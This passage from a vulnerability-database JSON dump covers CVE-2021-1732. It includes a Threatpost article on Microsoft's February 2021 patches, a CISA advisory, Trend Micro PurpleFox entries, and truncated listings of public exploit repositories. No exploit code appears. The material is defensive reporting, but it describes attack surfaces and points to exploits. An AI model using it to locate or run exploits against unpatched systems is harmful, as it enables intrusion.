however, researchers said it deserves attention above some of the critical bugs in terms of patching priority.\n\nIt exists in the Windows Win32k operating system kernel and is an elevation-of-privilege (EoP) vulnerability. It would allow a logged-on user to execute code of their choosing with higher privileges, by running a specially crafted application. If successful, attackers could execute code in the context of the kernel and gain SYSTEM privileges, essentially giving the attacker free rein to do whatever they wanted on the compromised machine.\n\n\u201cThe vulnerability affects Windows 10 and corresponding server editions of the Windows OS,\u201d said Chris Goettl, senior director of product management and security at Ivanti. \u201cThis is a prime example of why risk-based prioritization is so important. If you base your prioritization off of vendor severity and focus on \u2018critical\u2019 you could have missed this vulnerability in your prioritization. This vulnerability should put Windows 10 and Server 2016 and later editions into your priority bucket for remediation this month.\u201d\n\n## **Critical Microsoft Bugs for February Patch Tuesday**\n\nNone of the critical bugs rate more than an 8.8 (out of 10) on the CVSS scale, but all allow for remote code execution (RCE) and many should take top priority, according to security researchers.\n\n * ### Publicly Known .NET Core/Visual Studio Bug\n\nFor instance, the bug tracked as [CVE-2021-26701](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26701>) exists in .NET Core and Visual Studio \u2013 it\u2019s the only critical-rated bug to be listed as publicly known.\n\n\u201cWithout more information from Microsoft, that\u2019s about all we know about it,\u201d said Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, in [an analysis](<https://www.zerodayinitiative.com/blog/2021/2/9/the-february-2022-security-update-review>) released Tuesday. \u201cBased on the CVSS severity scale, this could allow remote, unauthenticated attackers to execute arbitrary code on an affected system. Regardless, if you rely on the .NET Framework or .NET Core, make sure you test and deploy this one quickly.\u201d\n\n * ### **Windows Fax Bugs**\n\nOther critical bugs should be on researchers\u2019 radars. The bugs tracked as [CVE-2021-1722](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1722>) and [CVE-2021-24077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24077>) meanwhile are both Windows Fax Service RCE problems.\n\n\u201cWindows Fax Service specifies settings for faxes, including how they are sent, received, viewed and printed,\u201d said Eric Feldman, senior product marketing manager at Automox. \u201cThe Windows Fax Service is used by the Windows Fax and Scan application included in all versions of Microsoft Windows 7, Windows 8 and Windows 10 and some earlier versions.\u201d\n\nAn attacker who successfully exploited either vulnerability could take control of an affected system, and then be able to install programs; view, change or delete data; or create new accounts with full user rights.\n\n\u201cUsers whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\u201d Feldman said. \u201cEven if you do not use Windows Fax and Scan, the Windows Fax Services is enabled by default.\u201d\n\n * ### **Critical TCP/IP Bugs**\n\n[CVE-2021-24074](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24074>) and [CVE-2021-24094](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24094>) are both Windows TCP/IP RCE vulnerabilities. The former is found in the way Windows handles iPv4 source routing; the latter is found in the way Windows handles iPv6 packet reassembly.\n\n\u201cIPv4 source routing\u2026should be disabled by default,\u201d said Childs. \u201cYou can also block source routing at firewalls or other perimeter devices. The IPv6 bug involves packet fragmentation where a large number of fragments could lead to code execution.\u201d\n\nResearchers said that both these patches should be prioritized.\n\n\u201cBecause these affect the network stack, require zero interaction from a user and can be exploited by sending malicious network traffic to a device, it\u2019s only a matter of time before we see attackers leveraging these vulnerabilities to carry out cyberattacks,\u201d Chris Hass, director of information security and research at Automox, said.\n\nKevin Breen, director of cyber threat research at Immersive Labs, said that the IPv6 security hole is an obvious target for hackers.\n\n\u201cCVE-2021-24094 would be an obvious target because it affects a network stack, which typically operates with system level permissions and could therefore gain an attacker a system shell,\u201d he said. \u201cAs an IPV6 Link local attack it would require the threat actor to already have a foothold in your network, but could ultimately lead to a high level of access on domain controllers, for example. This vulnerability would be most dangerous to those who operate a flat network. Segmentation will help with mitigation.\u201d\n\nBreen also pointed out that RCE isn\u2019t the only possible outcome of an exploit for this bug.\n\n\u201cThe release notes indicate that the exploit is \u2018complex\u2019 \u2013 which means attempted attacks may serve to cause systems to crash, giving it the potential to be used in a denial-of-service attack,\u201d he said.\n\n * ### **Flaw in Windows Codec Pack**\n\nWindows Camera Codec Pack is home to yet another critical RCE bug ([CVE-2021-24091](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24091>)). If successfully exploited, an attacker could run arbitrary code in the context of the current user.\n\n\u201cIf the current user is logged on with admin privileges, the attacker could gain control of the affected system,\u201d said Justin Knapp, senior product marketing manager at Automox. \u201cThis could enable an attacker to install programs; view, change, or delete data; or create new accounts with full user rights. Exploitation of the vulnerability requires the user to open a specially crafted file with an affected version of the codec pack. While there\u2019s no way to force a user to open the file, bad actors could manipulate a user through an email or web-based attack vector where the user is effectively convinced or enticed into opening the malicious file.\u201d\n\n * ### **Windows DNS Problems**\n\nAnd Windows Domain Name System (DNS) servers, when they fail to properly handle requests, are also open to a critical RCE bug ([CVE-2021-24078](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24078>)) that could allow an attacker to run arbitrary code in the context of the Local System Account.\n\n\u201cOnly Windows servers that are configured as DNS servers are at risk of having this vulnerability exploited,\u201d Knapp said. \u201cTo exploit the vulnerability, an unauthenticated attacker could send malicious requests to the Windows DNS server. Given the low level of attack complexity and \u2018exploitation more likely\u2019 label assigned, this is a vulnerability that should be addressed immediately.\u201d\n\n * ### **Windows Print Spooler**\n\nAlso of note, _[CVE-2021-24088](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24088>)_ affects the Windows Local Spooler, which is an important component within the Windows operating system that stores print jobs in memory until the printer is ready to accept them.\n\nIt\u2019s a bug that \u201ccould be a big concern,\u201d according to Allan Liska, senior security architect at Recorded Future.\n\n\u201cThis vulnerability impacts Windows 7 to 10 and Windows Server 2008 to 2019,\u201d he said. \u201cWindows Print Spooler vulnerabilities have been widely exploited in the wild going back to the days of Stuxnet. Just last year CVE-2020-0986 was seen by Kaspersky being [widely exploited in the wild.](<https://threatpost.com/windows-zero-day-circulating-faulty-fix/162610/>)\u201d\n\n * ### **Other Critical February 2021 Microsoft Bugs**\n\nAnd finally, .NET Core for Linux is also at risk for RCE ([CVE-2021-24112](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24112>)); and [CVE-2021-24093](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24093>) is a critical RCE vulnerability in the Windows graphic component. Details are scant for both, but of the latter, Breen said, \u201cThis is the kind of vulnerability built into exploit kits and triggered by low level phishing campaigns targeting users en masse.\u201d\n\nAnd, a critical bug that would allow RCE exists in the Microsoft Windows Codecs Library ([CVE-2021-24081](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24081>)). Details are sparse, but Microsoft said that the difficulty required for exploitation is considered to be low. However, end-user interaction is required for successful exploitation.\n\n### **Publicly Disclosed Bugs of Note**\n\nOutside of the critical issues, [CVE-2021-1733](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1733>) is a high-severity EoP vulnerability discovered to be impacting Sysinternals PsExec utility that deserves a look. It\u2019s listed as being publicly disclosed.\n\n\u201cPsExec which has been popular in the past for use in remote administration tasks such as patching remote systems, has also had a fair share of scrutiny due the utility\u2019s weaponization by criminals in malware,\u201d Nicholas Colyer, senior product marketing manager at Automox, said via email. \u201cProof-of-concept code has not been independently verified but it is notable that in January 2021, Microsoft released a patch to resolve a remote code-execution vulnerability for the same utility, indicating that it is getting attention. Robust endpoint management is necessary for any organization\u2019s continued success and it is advisable to consider alternatives in the modern era of software-as-a-service.\u201d\n\nThe other publicly reported vulnerabilities this month are [CVE-2021-1727](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1727>), an EoP vulnerability in Windows Installer; [CVE-2021-24098](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24098>), a DoS vulnerability in the Windows Console Driver; [CVE-2021-24106](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24106>), an information-disclosure vulnerability in Windows DirectX; and [CVE-2021-1721](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1721>), a .NET Core and Visual Studio DoS problem.\n\n## **Zerologon Redux**\n\nMicrosoft also again released the patch for the Netlogon vulnerability (CVE-2020-1472), which originally was resolved in August. The vulnerability has [consistently been exploited](<https://threatpost.com/microsoft-warns-zerologon-bug/160769/>) by threat actors, so the re-release serves to highlight its importance. Microsoft also starting Tuesday [began blocking by default](<https://threatpost.com/microsoft-implements-windows-zerologon-flaw-enforcement-mode/163104/>) any vulnerable connections on devices that could be used to exploit the flaw. It does this by enabling domain controller \u201cenforcement mode.\u201d\n\n\u201cWhen you consider that Zerologon led the U.S. government to issue an Emergency Directive to all federal agencies to promptly apply the patches for this vulnerability, you start to understand the gravity of the situation,\u201d Satnam Narang, staff research engineer at Tenable, told Threatpost. \u201cZerologon provides attackers a reliable way to move laterally once inside a network, giving them the ability to impersonate systems, alter passwords, and gain control over the proverbial keys to the kingdom via the domain controller itself.\u201d\n\nHe added, \u201cFor these reasons, Zerologon has been rolled into attacker playbooks, becoming a feather in the cap for post-compromise activity. We\u2019ve also seen reports of Zerologon being favored by ransomware groups like Ryuk during their campaigns.\u201d\n\n## **What Should IT Patch First?**\n\n\u201cWindows OS updates and [Adobe Acrobat and Reader](<https://threatpost.com/critical-adobe-windows-flaw/163789/>) need immediate attention with the list of exploited and publicly disclosed vulnerabilities,\u201d said Goettl.\n\nAfter that, development tools and IT tools \u201cneed some attention,\u201d he added.\n\n\u201c.Net Core and PsExec disclosures are a concern that should not go unaddressed. Because this development and IT tools do not follow the same update process as OS and application updates, it is important to review your DevOps processes and determine if you are able to detect and respond to updates for common dev components,\u201d he said. \u201cFor tools like PsExec it is important to understand your software inventory and where these tools are installed and ensure you can distribute updated versions as needed.\u201d\n\n**_Is your business an easy mark? _**_Save your spot for \u201c15 Cybersecurity Gaffes SMBs Make,\u201d **a **_**[_FREE Threatpost webinar_](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>) **_**on Feb. 24 at 2 p.m. ET.** Cybercriminals count on you making these mistakes, but our experts will help you lock down your small- to mid-sized business like it was a Fortune 100. __[Register here](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)__ for the Wed., Feb. 24 LIVE webinar. _\n", "cvss3": {}, "published": "2021-02-09T22:33:08", "type": "threatpost", "title": "Actively Exploited Windows Kernel Bug Allows Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0986", "CVE-2020-1472", "CVE-2021-1721", "CVE-2021-1722", "CVE-2021-1727", "CVE-2021-1732", "CVE-2021-1733", "CVE-2021-24074", "CVE-2021-24077", "CVE-2021-24078", "CVE-2021-24081", "CVE-2021-24088", "CVE-2021-24091", "CVE-2021-24093", "CVE-2021-24094", "CVE-2021-24098", "CVE-2021-24106", "CVE-2021-24112", "CVE-2021-26701"], "modified": "2021-02-09T22:33:08", "id": "THREATPOST:1502920D4F50B0D128077B515815C023", "href": "https://threatpost.com/exploited-windows-kernel-bug-takeover/163800/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "trendmicroblog": [{"lastseen": "2021-11-10T18:37:14", "description": "In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious activity related to a PurpleFox operator. Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-19T00:00:00", "type": "trendmicroblog", "title": "PurpleFox Adds New Backdoor That Uses WebSockets", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2021-10-19T00:00:00", "id": "TRENDMICROBLOG:B5EA1F5E613C3A15D832147CF064EC78", "href": "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-19T14:36:36", "description": "In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious activity related to a PurpleFox operator. Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-19T00:00:00", "type": "trendmicroblog", "title": "PurpleFox Adds New Backdoor That Uses WebSockets", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2021-10-19T00:00:00", "id": "TRENDMICROBLOG:C9F6DD38959C2193331C83CA846C0A71", "href": "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "cisa": [{"lastseen": "2021-03-08T18:38:38", "description": "Microsoft has released a security advisory to address an escalation of privileges vulnerability, [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732>), in Microsoft Win32k. A local attacker can exploit this vulnerability to take control of an affected system. This vulnerability was detected in exploits in the wild.\n\nCISA encourages users and administrators to review Microsoft Advisory for CVE-2021-1732 and apply the necessary patch to Windows 10 and Windows 2019 servers.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/02/09/microsoft-warns-windows-win32k-privilege-escalation>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "cisa", "title": "Microsoft Warns of Windows Win32k Privilege Escalation", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2021-02-09T00:00:00", "id": "CISA:911DE59572B6EF78B42DD868D622F637", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/02/09/microsoft-warns-windows-win32k-privilege-escalation", "cvss": {"score": 4.6, "vector": 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"cvelist": ["CVE-2021-1732"], "modified": "2023-04-28T00:26:16", "id": "87746757-7ADF-518B-8EA1-A11AC7E420FC", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T14:55:12", "description": "# CVE-2021-1732-Exploit\nCVE-2021...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-05T02:11:10", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2022-08-15T15:41:27", "id": "02C6FE13-5036-5BE5-8AC8-278A918BA581", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T16:12:24", "description": "<h1 style=\"font-size:10vw\" align=\"center\">Windows Privilege Esca...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-25T12:55:15", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2022-06-10T10:41:19", "id": "5E516DC2-BF71-57D0-9A87-3874146D0F83", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T11:50:58", "description": "# CVE-2021-1732\nCVE-\u00ad2021\u00ad-1732 Microsoft Windows 10 \u672c\u5730\u63d0\u6743\u6f0f \u7814\u7a76\u53caPo...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-01T13:06:17", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2023-06-14T10:36:15", "id": "237105AA-3579-5C91-BC0F-55BF93EC18DD", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-13T10:29:32", "description": "# CVE-2021-1732\nCVE-\u00ad2021\u00ad-1732 Microsoft Windows 10 \u672c\u5730\u63d0\u6743\u6f0f \u7814\u7a76\u53caPo...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-08T05:07:15", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2022-06-13T06:40:53", "id": "91A5BC48-2410-555B-B7FB-8138577D6B78", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-04-04T07:51:24", "description": "# CVE-2022-21882\nwin32k LPE bypass CVE-2021-17...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-27T03:44:10", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-04-04T04:45:33", "id": "1C45657B-E388-5668-9093-F3934858B728", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-16T00:00:34", "description": "# CVE-2022-21882\n\nWin32k Elevation Of Privileges\n\nTechn...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-14T21:28:15", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21882", "CVE-2021-1732"], "modified": "2022-03-15T22:03:21", "id": "FBC7C8E7-D9E9-50AF-A463-1504B4FC5BE9", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-15T20:28:07", "description": "# CVE-2021-1732\n\nWin32k Elevation Of Privileges\n\nTechni...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-15T16:55:31", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-02-15T17:00:00", "id": "25DCDCD3-A32C-5B44-B706-FFF9535ECFC2", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-04T13:00:38", "description": "# CVE-2022-21882\nwin32k LPE bypass CVE-2021-1732\n\n## Test\n- only...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-01T17:58:29", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-04-04T09:10:13", "id": "453B4EEE-340B-58DA-84D9-277C9D4EFC12", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], 